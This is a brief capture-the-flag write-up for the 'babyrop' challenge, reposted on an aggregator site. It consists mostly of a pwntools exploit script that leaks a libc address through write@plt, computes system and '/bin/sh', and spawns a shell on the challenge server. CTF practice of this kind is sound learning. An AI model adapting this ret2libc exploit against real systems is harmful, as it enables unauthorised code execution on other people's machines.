babyrop
Posted Nullan
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了babyrop相关的知识,希望对你有一定的参考价值。
一、题目特征
这里提到一个full relro,听以后会有relro的题目,就先在这里留一个疑问
二、解题
from pwn import *
io=remote('node4.buuoj.cn',29200)
# io=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
system_libc=libc.symbols['system']
binsh_libc=libc.search('/bin/sh').next()
write_libc=libc.symbols['write']
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=0x8048825
payload='\\x00'+'\\xff'*10
io.sendline(payload)
io.recvuntil("Correct\\n")
payload='a'*(0xe7+4)+p32(write_plt)+p32(main_addr)
# ret1 ret2
payload+=p32(1)+p32(write_got)+p32(4)
#write par1 par2 par3
io.sendline(payload)
write_addr=u32(io.recv(4))
base=write_addr-write_libc
system_addr=system_libc+base
binsh_addr=binsh_libc+base
payload='\\x00'+'\\xff'*10
io.sendline(payload)
io.recvuntil("Correct\\n")
payload='a'*(0xe7+4)+p32(system_addr)+p32(main_addr)
payload+=p32(binsh_addr)
io.sendline(payload)
io.interactive()
# rdi, rsi, rdx, rcx, r8, r9
参考
以上是关于babyrop的主要内容,如果未能解决你的问题,请参考以下文章